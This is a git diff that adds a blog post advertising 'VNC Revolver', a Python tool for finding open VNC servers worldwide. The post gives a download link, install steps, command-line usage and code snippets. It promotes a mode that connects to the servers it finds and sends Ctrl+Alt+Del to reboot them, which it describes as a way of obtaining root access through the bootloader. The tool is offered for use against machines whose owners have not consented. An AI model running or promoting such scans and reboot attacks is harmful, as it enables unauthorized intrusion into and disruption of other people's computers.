diff options
Diffstat (limited to 'posts/vnc.md')
-rw-r--r-- | posts/vnc.md | 93 |
1 files changed, 93 insertions, 0 deletions
diff --git a/posts/vnc.md b/posts/vnc.md new file mode 100644 index 0000000..3cc5d36 --- /dev/null +++ b/posts/vnc.md @@ -0,0 +1,93 @@ +title: 💥 VNC Revolver +date: 2024-02-14 19:00 +tags: projects +summary: Search for open VNC Servers +--- +Search for open VNC servers around the world +--- +![vnc](/images/revolver.png) + +# DOWNLOAD +## [vncrevolver](/download/vncrevolver.zip) + +# Table Of Contents + +* [`Dependencies`](#required) +* [`Install`](#install) +* [`Features`](#features) +* [`Usage`](#commands) + + +## Required: + pip install pydantic + pip install asyncvnc + pip install aiohttp + +# Install: + git clone https://github.com/cristiancmoises/vncrevolver + cd vncrevolver +# Features +| Some Features | +|------------------------------------------------------------------------------------| +| 🌎 _Search for many open Vnc Servers around the world_ | +| 📍 _Filter by country_ | +| 🔢 _List more than one_ | +| 🖥️ _List by Client name_ | +| ✅ _Checks them for vulnerabilities by rebooting the machine via Ctrl+ALT+DEL, obtaining root access through the operating system bootloader easyly._ | + +# Commands +## BASIC: + python -m vncrevolver + +## DEEP SEARCH: + python -m vncrevolver --clientname ubuntu --count 10 + +## CTRL + ALT + DEL | CHECK + python -m vncrevolver --clientname ubuntu --count 10 --check_crt_alt_del + +## CHECK A SPECIFIC ADDRESS: + python -m vncrevolver --check_crt_alt_del 123.12.1.23:5901 + +> # START ME UP! + $ python -m vncrevolver --help + + usage: vncrevolver [-h] [--clientname CLIENTNAME] [--country COUNTRY] [--asn ASN] [--count COUNT] [--check_crt_alt_del [CHECK_CRT_ALT_DEL]] [--show_failed] [--screen_delay SCREEN_DELAY] + + optional arguments: + -h, --help show this help message and exit + --clientname CLIENTNAME + Filter by client name, note that it is case-sensitive! + --country COUNTRY Filter by ISO 3166-1 alpha-2 country code + --asn ASN Filter by ASN + --count COUNT Number of VNCs to find + --check_crt_alt_del [CHECK_CRT_ALT_DEL] + If you specify this parameter without a value, only those VNCs from the search that pass the ctrl_alt_del check will be returned. If a value is passed, it must be a VNC + address that will be checked against ctrl_alt_del. + --show_failed Return VNCs that failed the ctrl_alt_del check + --screen_delay SCREEN_DELAY + Delay between taking two screenshots in milliseconds + + +> # Use filters: + + from typing import List + from vncrevolver.search import VNC, search_filter + + hosts: List[VNC] = await search_filter(clientname='ubuntu') + for vnc in hosts: + print(vnc.ip, vnc,port) + +> # Random Search + from vncrevolver.search import VNC, search_random + vnc: VNC = await search_random() + print(vnc.ip, vnc.port) + +> # Ctrl + ALT + DEL - CHECK UP! + from vncrevolver.search import VNC, search_random + from vncrevolver.vnc import check_crt_alt_del + vnc: VNC = await search_random() + print(await check_crt_alt_del(vnc.ip, vnc.port)) + +![FollowTheWhiteRabbit](https://github.com/cristiancmoises/vncrevolver/assets/86272521/87e35e4b-499b-4651-a733-0fc993d4a985) + + |